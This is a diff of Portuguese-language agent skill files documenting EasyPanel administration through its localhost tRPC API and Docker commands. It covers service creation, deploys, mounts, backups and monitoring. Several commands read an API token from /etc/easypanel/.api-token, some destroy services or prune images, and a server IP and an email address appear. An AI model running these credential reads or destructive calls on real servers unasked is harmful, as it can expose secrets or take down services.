||||
|
||||
```bash
|
||||
curl -s "http://localhost:3000/api/trpc/settings.getServerIp" \
|
||||
-H "Authorization: Bearer $TOKEN"
|
||||
```
|
||||
|
||||
### Get Panel Domain
|
||||
|
||||
```bash
|
||||
curl -s "http://localhost:3000/api/trpc/settings.getPanelDomain" \
|
||||
-H "Authorization: Bearer $TOKEN"
|
||||
```
|
||||
|
||||
### Set Panel Domain
|
||||
|
||||
```bash
|
||||
curl -s -X POST "http://localhost:3000/api/trpc/settings.setPanelDomain" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"json":{"domain":"easy.descomplicar.pt"}}'
|
||||
```
|
||||
|
||||
### Get/Set Let's Encrypt Email
|
||||
|
||||
```bash
|
||||
# Get
|
||||
curl -s "http://localhost:3000/api/trpc/settings.getLetsEncryptEmail" \
|
||||
-H "Authorization: Bearer $TOKEN"
|
||||
|
||||
# Set
|
||||
curl -s -X POST "http://localhost:3000/api/trpc/settings.setLetsEncryptEmail" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"json":{"email":"emanuel@descomplicar.pt"}}'
|
||||
```
|
||||
|
||||
### Restart Traefik
|
||||
|
||||
```bash
|
||||
curl -s -X POST "http://localhost:3000/api/trpc/settings.restartTraefik" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"json":{}}'
|
||||
```
|
||||
|
||||
### Restart EasyPanel
|
||||
|
||||
```bash
|
||||
curl -s -X POST "http://localhost:3000/api/trpc/settings.restartEasypanel" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"json":{}}'
|
||||
```
|
||||
|
||||
### Prune Docker Images
|
||||
|
||||
```bash
|
||||
curl -s -X POST "http://localhost:3000/api/trpc/settings.pruneDockerImages" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"json":{}}'
|
||||
```
|
||||
| Endpoint | Tipo | Descrição |
|
||||
|----------|------|-----------|
|
||||
| `settings.getServerIp` | GET | IP do servidor |
|
||||
| `settings.getPanelDomain` | GET | Domínio do painel |
|
||||
| `settings.setPanelDomain` | POST | Definir domínio (`domain`) |
|
||||
| `settings.getLetsEncryptEmail` | GET | Email Let's Encrypt |
|
||||
| `settings.setLetsEncryptEmail` | POST | Definir email (`email`) |
|
||||
| `settings.restartTraefik` | POST | Reiniciar Traefik |
|
||||
| `settings.restartEasypanel` | POST | Reiniciar EasyPanel |
|
||||
| `settings.pruneDockerImages` | POST | Limpar imagens Docker |
|
||||
|
||||
---
|
||||
|
||||
## Database Backup API
|
||||
|
||||
### Update Backup Config
|
||||
## URL Encoding para GET
|
||||
|
||||
```bash
|
||||
curl -s -X POST "http://localhost:3000/api/trpc/services.postgres.updateBackup" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"json":{
|
||||
"projectName":"descomplicar",
|
||||
"serviceName":"minha-db",
|
||||
"backup":{
|
||||
"enabled":true,
|
||||
"schedule":"0 3 * * *",
|
||||
"destination":{
|
||||
"type":"s3",
|
||||
"bucket":"backups",
|
||||
"region":"eu-west-1",
|
||||
"accessKey":"...",
|
||||
"secretKey":"..."
|
||||
}
|
||||
}
|
||||
}}'
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Helper: URL Encode JSON
|
||||
|
||||
Para GET requests, o input deve ser URL encoded:
|
||||
|
||||
```bash
|
||||
# Usando Python
|
||||
INPUT='{"json":{"projectName":"descomplicar","serviceName":"api"}}'
|
||||
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$INPUT'))")
|
||||
curl -s "http://localhost:3000/api/trpc/services.app.inspectService?input=$ENCODED" -H "Authorization: Bearer $TOKEN"
|
||||
curl -s "http://localhost:3000/api/trpc/services.app.inspectService?input=$ENCODED" \
|
||||
-H "Authorization: Bearer $TOKEN"
|
||||
```
|
||||
|
||||
---
|
||||
@@ -525,17 +171,12 @@ Criar `/usr/local/bin/easypanel-api`:
|
||||
|
||||
```bash
|
||||
#!/bin/bash
|
||||
# EasyPanel API wrapper
|
||||
# Usage: easypanel-api <endpoint> [json-body]
|
||||
|
||||
TOKEN=$(cat /etc/easypanel/.api-token)
|
||||
BASE="http://localhost:3000/api/trpc"
|
||||
|
||||
if [ -z "$2" ]; then
|
||||
# GET request
|
||||
curl -s "$BASE/$1" -H "Authorization: Bearer $TOKEN"
|
||||
else
|
||||
# POST request
|
||||
curl -s -X POST "$BASE/$1" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
@@ -543,23 +184,78 @@ else
|
||||
fi
|
||||
```
|
||||
|
||||
**Uso:**
|
||||
```bash
|
||||
easypanel-api projects.listProjects
|
||||
easypanel-api services.app.deployService '{"json":{"projectName":"descomplicar","serviceName":"api"}}'
|
||||
```
|
||||
Uso: `easypanel-api projects.listProjects`
|
||||
|
||||
---
|
||||
|
||||
## Checklist Uso API
|
||||
## Checklist de Uso
|
||||
|
||||
- [ ] SSH para servidor `easy`
|
||||
- [ ] `TOKEN=$(cat /etc/easypanel/.api-token)`
|
||||
- [ ] Testar: `curl -s ".../projects.listProjects" -H "Authorization: Bearer $TOKEN"`
|
||||
- [ ] Usar endpoints conforme documentado
|
||||
- [ ] Validar resposta em `result.data.json`
|
||||
|
||||
---
|
||||
|
||||
## Limitações de Mounts
|
||||
|
||||
O EasyPanel usa Docker Swarm internamente. Isto impõe limitações nos mounts que diferem do Docker standalone.
|
||||
|
||||
### Tipos de mount suportados
|
||||
|
||||
| Tipo | API `type` | Comportamento | Limitações |
|
||||
|------|-----------|---------------|------------|
|
||||
| **Volume mount** | `volume` | Volume gerido pelo Docker Swarm | Funciona bem. Dados persistem no nó. Sem acesso directo ao filesystem do host |
|
||||
| **Bind mount** | `bind` | Monta directório do host no container | **Limitado no Swarm** — só funciona se o serviço estiver fixo a um nó específico |
|
||||
| **File mount** | `file` | Monta ficheiro individual (config) | Funciona. Ideal para ficheiros de configuração |
|
||||
|
||||
### Limitações críticas
|
||||
|
||||
1. **Bind mounts no Swarm** — O Docker Swarm não garante que o container corra sempre no mesmo nó. Um bind mount (`type: "bind"`) aponta para um path no host, mas se o container migrar para outro nó, esse path pode não existir. O EasyPanel mitiga isto parcialmente por correr num único nó, mas a limitação arquitectural mantém-se.
|
||||
|
||||
2. **Sem suporte nativo a NFS/CIFS** — A API `updateMounts` não suporta drivers de volume remotos (NFS, CIFS, etc.) directamente. Para volumes partilhados, é necessário criar o volume Docker manualmente com o driver adequado e depois referenciá-lo.
|
||||
|
||||
3. **Permissões** — Volumes criados via API pertencem a `root:root` por defeito. Containers que correm com utilizador não-root podem ter problemas de permissões. Workaround: usar `command` no `updateAdvanced` para corrigir permissões no arranque.
|
||||
|
||||
4. **Substituição total** — `updateMounts` substitui **todos** os mounts existentes. Para adicionar um mount, é preciso primeiro obter os mounts actuais via `inspectService` e enviar a lista completa com o novo mount incluído.
|
||||
|
||||
### Workarounds conhecidos
|
||||
|
||||
```bash
|
||||
# 1. Obter mounts actuais antes de adicionar novo
|
||||
INSPECT=$(curl -s "http://localhost:3000/api/trpc/services.app.inspectService?input=..." \
|
||||
-H "Authorization: Bearer $TOKEN")
|
||||
# Extrair mounts existentes do JSON e adicionar o novo
|
||||
|
||||
# 2. Volume com permissões corrigidas — usar initCommand
|
||||
curl -s -X POST "http://localhost:3000/api/trpc/services.app.updateAdvanced" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"json":{
|
||||
"projectName":"descomplicar",
|
||||
"serviceName":"minha-api",
|
||||
"deploy":{
|
||||
"command":"chown -R 1000:1000 /app/data && node dist/index.js"
|
||||
}
|
||||
}}'
|
||||
|
||||
# 3. Volume Docker manual com driver NFS (fora da API)
|
||||
docker volume create --driver local \
|
||||
--opt type=nfs \
|
||||
--opt o=addr=192.168.1.10,rw \
|
||||
--opt device=:/export/data \
|
||||
vol-nfs-data
|
||||
# Depois referenciar na API:
|
||||
# {"type":"volume","name":"vol-nfs-data","mountPath":"/app/data"}
|
||||
```
|
||||
1. [ ] SSH para servidor easy
|
||||
2. [ ] TOKEN=$(cat /etc/easypanel/.api-token)
|
||||
3. [ ] Testar: curl -s "http://localhost:3000/api/trpc/projects.listProjects" -H "Authorization: Bearer $TOKEN"
|
||||
4. [ ] Usar endpoints conforme documentado
|
||||
5. [ ] Validar resposta (result.data.json)
|
||||
```
|
||||
|
||||
### Recomendações
|
||||
|
||||
- **Preferir `volume`** sobre `bind` — mais portável e compatível com Swarm
|
||||
- **Usar `file`** para configs individuais (nginx.conf, .env, etc.)
|
||||
- **Inspeccionar antes de actualizar** — a API substitui a lista inteira de mounts
|
||||
- **Documentar volumes manuais** — volumes criados fora da API não aparecem no painel EasyPanel até serem referenciados por um serviço
|
||||
|
||||
---
|
||||
|
||||
@@ -567,12 +263,16 @@ easypanel-api services.app.deployService '{"json":{"projectName":"descomplicar",
|
||||
|
||||
| Anti-Pattern | Risco | Alternativa |
|
||||
|--------------|-------|-------------|
|
||||
| Expor API externamente | Segurança | Usar apenas via SSH localhost |
|
||||
| Hardcode token | Leak | Usar /etc/easypanel/.api-token |
|
||||
| Não validar response | Erros silenciosos | Verificar result.data.json |
|
||||
| POST sem Content-Type | Request falha | Sempre incluir header |
|
||||
| Expor API externamente | Segurança crítica | Usar apenas via SSH localhost |
|
||||
| Hardcode token | Leak de credenciais | Usar `/etc/easypanel/.api-token` |
|
||||
| Não validar response | Erros silenciosos | Verificar `result.data.json` |
|
||||
| POST sem `Content-Type` | Request falha | Sempre incluir header |
|
||||
|
||||
---
|
||||
|
||||
**Versão:** 1.0.0 | **Autor:** Descomplicar®
|
||||
**Fonte:** Engenharia reversa SDK github.com/Easypanel-Community/easypanel
|
||||
## Ficheiros de Referência
|
||||
|
||||
| Ficheiro | Conteúdo |
|
||||
|----------|----------|
|
||||
| [references/services-api.md](references/services-api.md) | Endpoints de serviços com curl completo (create, inspect, deploy, enable/disable, destroy) |
|
||||
| [references/service-config-api.md](references/service-config-api.md) | Endpoints de configuração (source, env, domains, mounts, ports, resources, build, deploy, backup BD) |
|
||||
|
||||
@@ -0,0 +1,178 @@
|
||||
# EasyPanel API - Service Configuration
|
||||
|
||||
## Actualizar Source (GitHub)
|
||||
|
||||
```bash
|
||||
curl -s -X POST "http://localhost:3000/api/trpc/services.app.updateSourceGithub" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"json":{
|
||||
"projectName":"descomplicar",
|
||||
"serviceName":"minha-api",
|
||||
"owner":"ealmeida",
|
||||
"repo":"MeuRepo",
|
||||
"ref":"main",
|
||||
"path":"/"
|
||||
}}'
|
||||
```
|
||||
|
||||
## Actualizar Source (Git Custom)
|
||||
|
||||
```bash
|
||||
curl -s -X POST "http://localhost:3000/api/trpc/services.app.updateSourceGit" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"json":{
|
||||
"projectName":"descomplicar",
|
||||
"serviceName":"minha-api",
|
||||
"repo":"https://git.descomplicar.pt/org/repo",
|
||||
"ref":"main",
|
||||
"path":"/"
|
||||
}}'
|
||||
```
|
||||
|
||||
## Actualizar Source (Docker Image)
|
||||
|
||||
```bash
|
||||
curl -s -X POST "http://localhost:3000/api/trpc/services.app.updateSourceImage" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"json":{
|
||||
"projectName":"descomplicar",
|
||||
"serviceName":"minha-api",
|
||||
"image":"node:22-alpine"
|
||||
}}'
|
||||
```
|
||||
|
||||
## Actualizar Environment Variables
|
||||
|
||||
```bash
|
||||
curl -s -X POST "http://localhost:3000/api/trpc/services.app.updateEnv" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"json":{
|
||||
"projectName":"descomplicar",
|
||||
"serviceName":"minha-api",
|
||||
"env":"NODE_ENV=production\nPORT=3000\nDATABASE_URL=postgres://..."
|
||||
}}'
|
||||
```
|
||||
|
||||
## Actualizar Domains
|
||||
|
||||
```bash
|
||||
curl -s -X POST "http://localhost:3000/api/trpc/services.app.updateDomains" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"json":{
|
||||
"projectName":"descomplicar",
|
||||
"serviceName":"minha-api",
|
||||
"domains":[
|
||||
{"host":"api.descomplicar.pt","https":true,"port":3000}
|
||||
]
|
||||
}}'
|
||||
```
|
||||
|
||||
## Actualizar Mounts
|
||||
|
||||
```bash
|
||||
curl -s -X POST "http://localhost:3000/api/trpc/services.app.updateMounts" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"json":{
|
||||
"projectName":"descomplicar",
|
||||
"serviceName":"minha-api",
|
||||
"mounts":[
|
||||
{"type":"volume","name":"data","mountPath":"/app/data"}
|
||||
]
|
||||
}}'
|
||||
```
|
||||
|
||||
## Actualizar Ports (non-HTTP)
|
||||
|
||||
```bash
|
||||
curl -s -X POST "http://localhost:3000/api/trpc/services.app.updatePorts" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"json":{
|
||||
"projectName":"descomplicar",
|
||||
"serviceName":"minha-api",
|
||||
"ports":[
|
||||
{"published":8080,"target":3000,"protocol":"tcp"}
|
||||
]
|
||||
}}'
|
||||
```
|
||||
|
||||
## Actualizar Resources
|
||||
|
||||
```bash
|
||||
curl -s -X POST "http://localhost:3000/api/trpc/services.app.updateResources" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"json":{
|
||||
"projectName":"descomplicar",
|
||||
"serviceName":"minha-api",
|
||||
"resources":{
|
||||
"memoryLimit":"512m",
|
||||
"memoryReservation":"256m",
|
||||
"cpuLimit":1,
|
||||
"cpuReservation":0.5
|
||||
}
|
||||
}}'
|
||||
```
|
||||
|
||||
## Actualizar Build Config
|
||||
|
||||
```bash
|
||||
curl -s -X POST "http://localhost:3000/api/trpc/services.app.updateBuild" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"json":{
|
||||
"projectName":"descomplicar",
|
||||
"serviceName":"minha-api",
|
||||
"build":{
|
||||
"type":"nixpacks",
|
||||
"buildCommand":"npm run build",
|
||||
"startCommand":"npm start"
|
||||
}
|
||||
}}'
|
||||
```
|
||||
|
||||
## Actualizar Deploy (Replicas, Command)
|
||||
|
||||
```bash
|
||||
curl -s -X POST "http://localhost:3000/api/trpc/services.app.updateAdvanced" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"json":{
|
||||
"projectName":"descomplicar",
|
||||
"serviceName":"minha-api",
|
||||
"deploy":{
|
||||
"replicas":2,
|
||||
"command":"node dist/index.js",
|
||||
"zeroDowntime":true
|
||||
}
|
||||
}}'
|
||||
```
|
||||
|
||||
## Database Backup Config
|
||||
|
||||
```bash
|
||||
curl -s -X POST "http://localhost:3000/api/trpc/services.postgres.updateBackup" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"json":{
|
||||
"projectName":"descomplicar",
|
||||
"serviceName":"minha-db",
|
||||
"backup":{
|
||||
"enabled":true,
|
||||
"schedule":"0 3 * * *",
|
||||
"destination":{
|
||||
"type":"s3",
|
||||
"bucket":"backups",
|
||||
"region":"eu-west-1",
|
||||
"accessKey":"...",
|
||||
"secretKey":"..."
|
||||
}
|
||||
}
|
||||
}}'
|
||||
```
|
||||
100
infraestrutura/skills/easypanel-api/references/services-api.md
Normal file
100
infraestrutura/skills/easypanel-api/references/services-api.md
Normal file
@@ -0,0 +1,100 @@
|
||||
# EasyPanel API - Services
|
||||
|
||||
## Service Types
|
||||
|
||||
| Type | Descricao |
|
||||
|------|-----------|
|
||||
| `app` | Aplicacao (Node.js, Python, Go, etc.) |
|
||||
| `mysql` | MySQL database |
|
||||
| `mariadb` | MariaDB database |
|
||||
| `postgres` | PostgreSQL database |
|
||||
| `mongo` | MongoDB database |
|
||||
| `redis` | Redis cache |
|
||||
|
||||
## Criar Servico App
|
||||
|
||||
```bash
|
||||
curl -s -X POST "http://localhost:3000/api/trpc/services.app.createService" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"json":{"projectName":"descomplicar","serviceName":"minha-api"}}'
|
||||
```
|
||||
|
||||
## Criar Servico Database
|
||||
|
||||
```bash
|
||||
# PostgreSQL
|
||||
curl -s -X POST "http://localhost:3000/api/trpc/services.postgres.createService" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"json":{"projectName":"descomplicar","serviceName":"minha-db"}}'
|
||||
|
||||
# MySQL
|
||||
curl -s -X POST "http://localhost:3000/api/trpc/services.mysql.createService" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"json":{"projectName":"descomplicar","serviceName":"mysql-db"}}'
|
||||
|
||||
# Redis
|
||||
curl -s -X POST "http://localhost:3000/api/trpc/services.redis.createService" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"json":{"projectName":"descomplicar","serviceName":"cache"}}'
|
||||
```
|
||||
|
||||
## Inspeccionar Servico
|
||||
|
||||
```bash
|
||||
curl -s "http://localhost:3000/api/trpc/services.app.inspectService?input=%7B%22json%22%3A%7B%22projectName%22%3A%22descomplicar%22%2C%22serviceName%22%3A%22dashboard_descomplicar%22%7D%7D" \
|
||||
-H "Authorization: Bearer $TOKEN"
|
||||
```
|
||||
|
||||
Response:
|
||||
```json
|
||||
{
|
||||
"projectName": "descomplicar",
|
||||
"name": "dashboard_descomplicar",
|
||||
"type": "app",
|
||||
"enabled": true,
|
||||
"token": "deploy-webhook-token",
|
||||
"source": {"type": "git", "repo": "https://...", "ref": "main"},
|
||||
"build": {"type": "nixpacks", "buildCommand": "npm run build"},
|
||||
"env": "VAR=value",
|
||||
"mounts": [],
|
||||
"ports": []
|
||||
}
|
||||
```
|
||||
|
||||
## Deploy Servico
|
||||
|
||||
```bash
|
||||
curl -s -X POST "http://localhost:3000/api/trpc/services.app.deployService" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"json":{"projectName":"descomplicar","serviceName":"minha-api"}}'
|
||||
```
|
||||
|
||||
## Enable/Disable Servico
|
||||
|
||||
```bash
|
||||
# Disable
|
||||
curl -s -X POST "http://localhost:3000/api/trpc/services.app.disableService" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"json":{"projectName":"descomplicar","serviceName":"minha-api"}}'
|
||||
|
||||
# Enable
|
||||
curl -s -X POST "http://localhost:3000/api/trpc/services.app.enableService" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"json":{"projectName":"descomplicar","serviceName":"minha-api"}}'
|
||||
```
|
||||
|
||||
## Destruir Servico
|
||||
|
||||
```bash
|
||||
curl -s -X POST "http://localhost:3000/api/trpc/services.app.destroyService" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"json":{"projectName":"descomplicar","serviceName":"minha-api"}}'
|
||||
```
|
||||
@@ -1,14 +1,7 @@
|
||||
---
|
||||
name: easypanel-deploy
|
||||
description: Deploy completo e automatizado para EasyPanel com validação integrada via API oficial.
|
||||
author: Descomplicar® Crescimento Digital
|
||||
version: 2.0.0
|
||||
quality_score: 70
|
||||
user_invocable: true
|
||||
desk_task: TBD
|
||||
allowed-tools: Task
|
||||
dependencies:
|
||||
- easypanel-api
|
||||
description: Deploy completo e automatizado para EasyPanel com validação integrada, monitoring e safety net (auto-rollback) via API oficial.
|
||||
disable-model-invocation: true
|
||||
---
|
||||
|
||||
# EasyPanel Deploy
|
||||
|
||||
@@ -1,16 +1,7 @@
|
||||
---
|
||||
name: easypanel-init
|
||||
description: Initialize EasyPanel projects with proper configuration via API oficial. Sets up Node.js,
|
||||
PHP, or static sites on EasyPanel. Use when user mentions "easypanel init", "new
|
||||
easypanel", "setup easypanel", "deploy easypanel", "easypanel setup".
|
||||
author: Descomplicar® Crescimento Digital
|
||||
version: 2.0.0
|
||||
quality_score: 70
|
||||
user_invocable: true
|
||||
desk_task: TBD
|
||||
allowed-tools: Task
|
||||
dependencies:
|
||||
- easypanel-api
|
||||
description: Inicialização de projectos EasyPanel com configuração adequada via API oficial — scaffold automático para Node.js, PHP ou sites estáticos.
|
||||
disable-model-invocation: true
|
||||
---
|
||||
|
||||
# EasyPanel Init
|
||||
|
||||
281
infraestrutura/skills/easypanel-monitor/SKILL.md
Normal file
281
infraestrutura/skills/easypanel-monitor/SKILL.md
Normal file
@@ -0,0 +1,281 @@
|
||||
---
|
||||
name: easypanel-monitor
|
||||
description: Monitorizacao de servicos EasyPanel -- estado de todos os servicos Docker, uso de recursos, disco e logs de erros com tabela resumo OK/DOWN/WARN.
|
||||
---
|
||||
|
||||
# /easypanel-monitor - Monitorizacao EasyPanel
|
||||
|
||||
Verificacao rapida do estado de todos os servicos no EasyPanel (VM 101) com identificacao de problemas.
|
||||
|
||||
---
|
||||
|
||||
## Quando usar
|
||||
|
||||
- Verificacao diaria do estado dos servicos
|
||||
- Apos alertas de servicos down
|
||||
- Antes de deploys (validar estado actual)
|
||||
- Diagnostico rapido de problemas de recursos
|
||||
|
||||
## Quando nao usar
|
||||
|
||||
- Para troubleshooting aprofundado de um servico especifico (usar `/easypanel-troubleshoot`)
|
||||
- Para rollback de versao (usar `/easypanel-rollback`)
|
||||
- Para deploy de servicos (usar `/easypanel-deploy`)
|
||||
|
||||
---
|
||||
|
||||
## Sintaxe
|
||||
|
||||
```bash
|
||||
/easypanel-monitor # Check completo (servicos + recursos + disco)
|
||||
/easypanel-monitor quick # Apenas estado dos servicos (OK/DOWN)
|
||||
/easypanel-monitor <servico> # Detalhe de um servico especifico (logs + stats)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Servidor alvo
|
||||
|
||||
| Alias SSH | IP | Porta | Funcao |
|
||||
|-----------|-----|-------|--------|
|
||||
| **easy** | 5.9.90.70 | 22 | EasyPanel (VM 101) |
|
||||
|
||||
```javascript
|
||||
mcp__ssh-unified__ssh_execute({
|
||||
server: "easy",
|
||||
command: "<comando>"
|
||||
})
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Workflow completo
|
||||
|
||||
### Passo 1: Estado dos servicos (docker service ls)
|
||||
|
||||
```bash
|
||||
docker service ls --format "table {{.Name}}\t{{.Replicas}}\t{{.Image}}\t{{.Ports}}"
|
||||
```
|
||||
|
||||
**Classificacao:**
|
||||
- **OK** - Replicas X/X (todas activas)
|
||||
- **DOWN** - Replicas 0/X (nenhuma activa)
|
||||
- **WARN** - Replicas parciais ou servico sem replicas esperadas
|
||||
|
||||
### Passo 2: Identificar servicos DOWN (0/N replicas)
|
||||
|
||||
```bash
|
||||
docker service ls --format "{{.Name}} {{.Replicas}}" | awk '$2 ~ /^0\//'
|
||||
```
|
||||
|
||||
Para cada servico DOWN, obter logs:
|
||||
|
||||
```bash
|
||||
docker service logs <nome-servico> --tail 10 --no-trunc 2>&1
|
||||
```
|
||||
|
||||
### Passo 3: Uso de recursos (docker stats)
|
||||
|
||||
```bash
|
||||
docker stats --no-stream --format "table {{.Name}}\t{{.CPUPerc}}\t{{.MemUsage}}\t{{.MemPerc}}\t{{.NetIO}}\t{{.BlockIO}}"
|
||||
```
|
||||
|
||||
**Thresholds:**
|
||||
|
||||
| Metrica | OK | WARN | CRITICAL |
|
||||
|---------|-----|------|----------|
|
||||
| CPU | <70% | 70-90% | >90% |
|
||||
| RAM | <70% | 70-85% | >85% |
|
||||
| RAM absoluto | <512MB | 512MB-1GB | >1GB |
|
||||
|
||||
### Passo 4: Espaco em disco
|
||||
|
||||
```bash
|
||||
df -h / /var/lib/docker
|
||||
```
|
||||
|
||||
**Thresholds:**
|
||||
|
||||
| Disco | OK | WARN | CRITICAL |
|
||||
|-------|-----|------|----------|
|
||||
| / | <70% | 70-85% | >85% |
|
||||
| /var/lib/docker | <70% | 70-85% | >85% |
|
||||
|
||||
Verificar imagens Docker nao utilizadas:
|
||||
|
||||
```bash
|
||||
docker system df
|
||||
```
|
||||
|
||||
### Passo 5: Logs de erros recentes (servicos com problemas)
|
||||
|
||||
Para servicos DOWN ou WARN:
|
||||
|
||||
```bash
|
||||
docker service logs <nome-servico> --tail 10 --no-trunc 2>&1 | grep -iE "error|fatal|panic|oom|killed|fail"
|
||||
```
|
||||
|
||||
### Passo 6: Verificar tarefas falhadas
|
||||
|
||||
```bash
|
||||
docker service ls -q | xargs -I {} docker service ps {} --format "{{.Name}} {{.CurrentState}} {{.Error}}" --filter "desired-state=shutdown" 2>/dev/null | grep -i "failed\|rejected\|error" | head -20
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Template de output
|
||||
|
||||
```markdown
|
||||
## EasyPanel Monitor - [DATA]
|
||||
|
||||
**Servidor:** easy.descomplicar.pt (5.9.90.70)
|
||||
|
||||
### Estado dos servicos
|
||||
|
||||
| Servico | Replicas | Estado | CPU | RAM | Notas |
|
||||
|---------|----------|--------|-----|-----|-------|
|
||||
| descomplicar_api | 1/1 | OK | 2.3% | 128MB | - |
|
||||
| descomplicar_n8n | 1/1 | OK | 5.1% | 256MB | - |
|
||||
| descomplicar_db | 0/1 | DOWN | - | - | Connection refused |
|
||||
| descomplicar_redis | 1/1 | WARN | 85% | 490MB | CPU elevado |
|
||||
|
||||
**Resumo:** X/Y servicos OK | Z DOWN | W WARN
|
||||
|
||||
### Disco
|
||||
|
||||
| Mount | Usado | Disponivel | % | Estado |
|
||||
|-------|-------|------------|---|--------|
|
||||
| / | 45G | 55G | 45% | OK |
|
||||
| /var/lib/docker | 30G | 70G | 30% | OK |
|
||||
|
||||
Docker system: X imagens, Y containers, Z volumes (total: XGB)
|
||||
|
||||
### Alertas
|
||||
|
||||
**CRITICAL:**
|
||||
- descomplicar_db: 0/1 replicas - servico DOWN
|
||||
Logs: `[erro relevante dos logs]`
|
||||
|
||||
**WARN:**
|
||||
- descomplicar_redis: CPU a 85% (threshold 70%)
|
||||
|
||||
### Accoes recomendadas
|
||||
|
||||
1. [URGENTE] Investigar descomplicar_db: `/easypanel-troubleshoot db`
|
||||
2. [IMPORTANTE] Monitorizar descomplicar_redis - CPU elevado
|
||||
3. [MELHORIA] Limpar imagens Docker nao utilizadas: `docker system prune`
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Modo quick
|
||||
|
||||
Apenas passo 1 e 2. Output resumido:
|
||||
|
||||
```markdown
|
||||
## EasyPanel Quick Check - [DATA]
|
||||
|
||||
| Servico | Estado |
|
||||
|---------|--------|
|
||||
| descomplicar_api | OK |
|
||||
| descomplicar_n8n | OK |
|
||||
| descomplicar_db | DOWN |
|
||||
|
||||
**X/Y OK** | Z alertas
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Modo servico especifico
|
||||
|
||||
Para `/easypanel-monitor <servico>`:
|
||||
|
||||
```bash
|
||||
# Estado
|
||||
docker service inspect <servico> --pretty
|
||||
|
||||
# Tarefas (historico)
|
||||
docker service ps <servico>
|
||||
|
||||
# Logs (ultimas 50 linhas)
|
||||
docker service logs <servico> --tail 50 --no-trunc 2>&1
|
||||
|
||||
# Stats do container
|
||||
docker stats --no-stream --filter "name=<servico>"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Integracao com API EasyPanel
|
||||
|
||||
Alternativa via API tRPC (ver `/easypanel-api`):
|
||||
|
||||
```bash
|
||||
TOKEN=$(cat /etc/easypanel/.api-token)
|
||||
|
||||
# Stats do sistema
|
||||
curl -s "http://localhost:3000/api/trpc/monitor.getSystemStats" \
|
||||
-H "Authorization: Bearer $TOKEN"
|
||||
|
||||
# Stats Docker tasks
|
||||
curl -s "http://localhost:3000/api/trpc/monitor.getDockerTaskStats" \
|
||||
-H "Authorization: Bearer $TOKEN"
|
||||
|
||||
# Projectos e servicos
|
||||
curl -s "http://localhost:3000/api/trpc/projects.listProjectsAndServices" \
|
||||
-H "Authorization: Bearer $TOKEN"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## MCPs necessarios
|
||||
|
||||
- `ssh-unified` - Acesso ao servidor easy (obrigatorio)
|
||||
- `mcp-time` - Data/hora para o report (obrigatorio)
|
||||
- `desk-crm-v3` - Comentar resultado em tarefa (opcional)
|
||||
|
||||
---
|
||||
|
||||
## Anti-patterns
|
||||
|
||||
| Anti-pattern | Problema | Solucao |
|
||||
|--------------|----------|---------|
|
||||
| Ignorar servicos DOWN | Problemas acumulam | Sempre investigar com /easypanel-troubleshoot |
|
||||
| Nao verificar disco | Disco cheio causa crash geral | Incluir df -h sempre |
|
||||
| docker stats sem --no-stream | Bloqueia terminal | Sempre usar --no-stream |
|
||||
| Ignorar tarefas falhadas | Crash loops nao detectados | Verificar desired-state=shutdown |
|
||||
| Nao limpar imagens | Disco enche | docker system prune periodico |
|
||||
|
||||
---
